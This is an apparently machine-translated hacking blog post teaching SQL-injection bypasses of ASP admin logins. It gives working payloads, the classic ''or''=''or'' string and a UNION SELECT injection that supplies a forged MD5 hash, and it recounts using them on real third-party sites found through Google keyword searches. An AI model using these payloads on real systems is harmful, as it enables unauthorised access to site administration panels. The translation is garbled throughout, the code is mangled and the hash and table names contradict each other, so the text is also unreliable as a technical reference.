SQL alternative injection bypass background login verification

During this period of time, I want to learn about Linux basic applications. After I get tired of script injection, I always feel that hackers are always playing with Injection Vulnerabilities all day long, or other Script Vulnerability technologies cannot be improved. So I managed to arrange a learning plan for myself. I learned from Linux first, then I learned programming, and I studied scripts and databases in my spare time. Recently learned

During this period of time, I learned about Linux basic applications. After I got tired of script injection, I always felt that hackers were stuck playing with Injection Vulnerabilities all day long, or other Script Vulnerability technologies could not be improved. So I managed to arrange a learning plan for myself. I learned from Linux first, then I learned programming, and I studied scripts and databases in my spare time.

I have not forgotten to talk to you about it recently. I also learned a lot of experience and skills from them. I recently learned an alternative SQL injection technique from the natural world. At that time, it was a natural example. I directly used a statement to bypass background login verification and enter the background. At that time, I thought it was quite good, so I went deep into its principle and had a certain understanding of it.

Okay. Let's get started with the question. Once we mentioned that the website's background management system is directly accessed without background login verification, we can think of a classic universal password: \ 'or \' = \ 'or, today, I want to share with you a similar skill, but this method is quite different.

Before talking about this technique, let's briefly review the classic \ 'or \' = \ 'or \' principle. For more details, you can search for relevant information on the Internet. We all know that the general method of background login verification is to take the account password entered by the user at the login port for verification with the records in the database, the entered account password must be the same as the account password recorded in the database. After the verification is passed, the program will give the user an sssion and enter the background. Otherwise, the system will return to the login port. For the \ 'or \' = \ 'or \' vulnerability, let's look at the following code:

<%
Pwd= Request. foRm("Pwd") obtain the password entered by the user, and then assign the value to pwd
Name = request. form ("name") obtains the username entered by the user and then assigns the value to name.
No filtering is performed.
Set rs = Server. CreateObject ("ADODB. Connection ")
SQL = "select * from Manage_User where UserName = \ '" & name & "\' And PassWord = \ '" & eNcRypt (pwd) & "\ '" puts the user name and password into the query statement to query the database,
Set rs = conn. ExeCutE (SQL) executes the SQL statement, and then obtains the rs object result, "true" or "false"
If Not rs. EOF = True Then If it is True, execute the following code:
Session ("Name") = rs ("UserName") assigns the attributes of UserName to the Session custom variables of Name.
Session ("pwd") = rs ("PassWord") assigns the PassWord attribute to the Session custom variable of pwd
Response. REdIrect ("Manage. asp") Redirects Manage. asp using the Redirect method of the Response object
ELsE. Otherwise, run the following code:
Response. Redirect "Loginsb. asp? Msg = You have entered an incorrect account or password. Please enter it again! "
End If
%>

The above is a typical \ 'or \' = \ 'or \' vulnerability example, for the above example, we only need to submit \ 'or \' = \ 'or \' At the user name, so that the SQL statement becomes: select * from Manage_User where UserName = \ ''or '= \' or \ 'And PassWord = \ '2017 \'. The result of the rs object is true after execution, so that it can smoothly enter the background.

In order to avoid this vulnerability, basically background verification does not use this type of method, but obtains the account and password entered by the user. in SQL, the user name is compared with the records in the database, if the username of a record in the database is the same as the username entered by the user, the password in the record is taken out and then compared with the password entered by the user. If the password is correct, the system returns the result. Example code:

<%
Pwd = request. form ("pwd") obtains the password entered by the user, and then assigns the value to pwd.
Name = request. form ("name") obtains the username entered by the user and then assigns the value to name.
No filtering is performed.
Set rs = Server. CreateObject ("ADODB. Connection ")
SQL = "select * from Manage_User where UserName = \ '" & name & "\'" puts the user name and password in the query statement to query the database,
Set rs = conn. Execute (SQL) Execute the SQL statement, and then get the rs object result, "true" or "false"
If Not rs. EOF = True Then If it is True, execute the following code:
Password = rs ("password") Get password data
If password = md5 (pwd) then
Session ("Name") = rs ("UserName") assigns the attributes of UserName to the Session custom variables of Name.
Session ("pwd") = rs ("PassWord") assigns the PassWord attribute to the Session custom variable of pwd
Response. Redirect ("Manage. asp") Redirects Manage. asp using the Redirect method of the Response object
Else
Response.Write"Incorrect password !!!! "
End if
Otherwise, run the following code:
Response. Redirect "Loginsb. asp? Msg = You have entered an incorrect account or password. Please enter it again! "
End If
%>

As you can see from the above example, the password verification is no longer directly verified in the SQL statement, but the corresponding password is retrieved based on the user name, and then compared with the user input. In this way, we cannot use \ 'or \' = \ 'or \' to bypass. Some may have doubts here. If we submit \ 'or \' = \ 'or \', the SQL statement will become: select * from Manage_User where UserName = \ 'or \'. In this case, the expected result is true. Why cannot this problem be bypassed?

In fact, even if the value obtained from the SQL query is true, do not forget that there is password verification behind it. If we submit the preceding SQL statements, it is true to get the account, the password obtained from the database based on the account cannot be used with the password submitted by the user.

Now, I will analyze the \ 'or \' = \ 'or \' vulnerability for the moment. All of the above are my personal understandings of this vulnerability, it does not mean that it is completely correct. If there is anything inappropriate, I hope you can give me more advice. The next step is our first drama.

I met a side station when I was watching the site for Ruian yesterday. I wanted to inject it. Then, when Ruian took the server, he packed the program and I studied it, after more than two hours of analysis and testing, we can finally successfully bypass the background login verification of the system. Next we will give you a detailed explanation of the entire analysis process based on the program code.

The program type is a foreign small mall system. During the detection, I constructed a keyword and found many websites by google. In addition, it is abroad and the decision should be studied in depth. However, there are still many differences between the habits of foreign programmers and those in China when writing programs, directory files and program structures in foreign countries are often very deep, which also leads me to turn around by the Code while analyzing the source code ......
When I got the program, I first checked the foreground injection, but after I opened the database and found the management password, I gave up my intention to search for the injection from the foreground, because the management password could not be cracked, it is useless to find the injection. Therefore, to find the critical weakness of the program, you only need to go to the network background or the upload page without verification. Then, you can view all the uploads that need background verification before they can be uploaded. At this point, the only way is to break through the background.

First, let's look at the background login port (login. asp) code:

<%
If request. form ("Submit") = "Login" then
IfTrIm (request ("yanzheng") = session ("ValIdCode ") then
If DoLogin (request. form ("LoginId"), request. form ("Password") = 1 then
Response. redirect ("indEx. Asp ")
End if
Else

Response. Redirect ("login. asp? P = login ")
End if
End if
%>

The above Code shows that login. asp page verification logon is to pass the account and password entered by the user to the DoLogin function for verification. In the DoLogin function, a value of 1 is returned for verification (enter the background through verification ), otherwise, the system redirects to the logon page. Let's take a look at the content of the DoLogin function.

Private function DoLogin (login, pass)
SetRsLogin = server. createobject ("ADODB. recordset ")
RsLogin. curSortYpe = 3

StrSQL = "Select admin_id, admin_salt, admin_password FROM admin_users Where admin_login = \ '" & login &"\'"
RsLogin. open strSQL, adoCon
Response. Write strSQL
If not rsLogin. eof then
CorrectPass = rsLogin ("admin_password ")
ControlPass = hashEncode (pass & rsLogin ("admin_salt "))
If correctPass = controlPass then
DoLogin = 1
Session ("admin_user_id") = rsLogin ("admin_id ")
Session ("session_id") = session. SessionID
Session ("order_flag") = 1
Else
DoLogin = 0
End if
Else
DoLogin = 0
End if

RsLogin. close
Set rsLogin = nothing
End function

The login pass in "private function DoLogin (login, pass)" is the above login. request. form ("LoginId") and request. form ("Password"), from the code above, we can see that the account and Password entered by the user are not filtered and then brought into the SQL statement for query. The verification method after the query is similar to the verification method mentioned above.

Now we know that the account and password entered by the user are not filtered (this is important). Next we need to know the structure of the Administrator table. Here I will give it to you. The Administrator table name is admin_users, the structure is as follows:

Javascript: window. open (this. src); alt = "" src = "/Article/UploadFiles/201011/20101114120845112 .jpg" onload =" return imgzoom (this, 550); "border = 0>

The Administrator table has four fields: ID number, user name, salt, and password. The password is in the fourth column. With this information, we will begin to construct SQL statements to bypass background login.

By analyzing the login verification code, we can briefly describe the verification process as follows: The verification function obtains the account and password entered by the user, then, query the records in which a user name is the same as the user's account name in the administrator table. If you find that a record exists in the management table after the query, continue to retrieve the password of the record, then compare the password with the password entered by the user (the password entered by the user must be encrypted). If the password is verified successfully, it passes the background verification.

Now our breakthrough strategy is: Submit an SQL statement, let the program query from the Administrator table a user name is equal to the user input user name record result is true, then the program will continue to verify the password, then let the program obtain the ciphertext of the password from the previous step, so that it will pass the verification smoothly.

It is easier to obtain a true value by breaking through the user name of the program, but it is not easy to get the ciphertext of a password for the program at the same time, and it must be completed in one step. But there are indeed some solutions. Here I will directly post them to you. I learned this method from my natural brother. To be honest, I really admire the cool man who came up with this solution.

Here, we need to use the union Joint query statement to bypass the authentication of the user name, and let the query get a password ciphertext at the same time, assuming that the current website system password is encrypted with md5, enter \ 'Union select 1, 2, 3, \ '225 in the User Name fieldCdC811aDfE8d4 \ 'from admin_user where \ 'a \' = \ 'a, then we enter the password: hack, so that the background verification can be smoothly bypassed.

There are no strangers to union queries. Here I will not detail the principle of union queries. In fact, I do not understand it very deeply, it cannot be expressed in a concise seo/\ '> language, but probably knows its meaning. As to why such a statement should be used, you can refer to the above description in red, and then use the following description to understand it. It is easy for new users to understand web programming.

In the preceding statement, there are two points. One is the ciphertext: 225cdc811adfe8d4. This is because the 16 of the password's hack is the lower-case md5 value, and the number of data digits after union select is four digits, this depends on the structure of the admin_users table. See the admin_users table above. The ciphertext 225cdc811adfe8d4 must be placed on the fourth digit. This also depends on the structure of the admin_users table. In addition, you must add single quotes. Because 225cdc811adfe8d4 is a character, it should be clear to anyone who understands SQL statements.

When we submit \ 'Union select 1, 2, 3, \ '225cdc811adfe8d4 \ 'from admin_user where \ 'a \' = \ 'a, we will analyze the verification program, first, the SQL statement is changed to: Select admin_id, admin_salt, admin_password FROM admin_users Where admin_login = \ 'union select 1, 2, 3, \ '25cdc811adfe8d4 \ 'from admin_user where \ 'a \' = \ 'a \ 'carefully analyze this SQL statement and we can see that the final execution result is true, this solves the problem of bypassing the User Name authentication and entering the password verification phase. After the preceding statement is executed, a ciphertext value of \ '225cdc811adfe8d4 \ 'can be obtained in the returned record set. In this way, during the password verification phase, this value will be compared with the result of using md5 to encrypt the hack character. The result is similar, and it will pass all the verification successfully. It may be hard for most of my friends to understand. In fact, I have not fully understood it, but I just understood it, if we want to fully understand it, we should focus on the principle of union Joint queries. If we can fully understand the principle of union Joint queries, this should be easy to understand.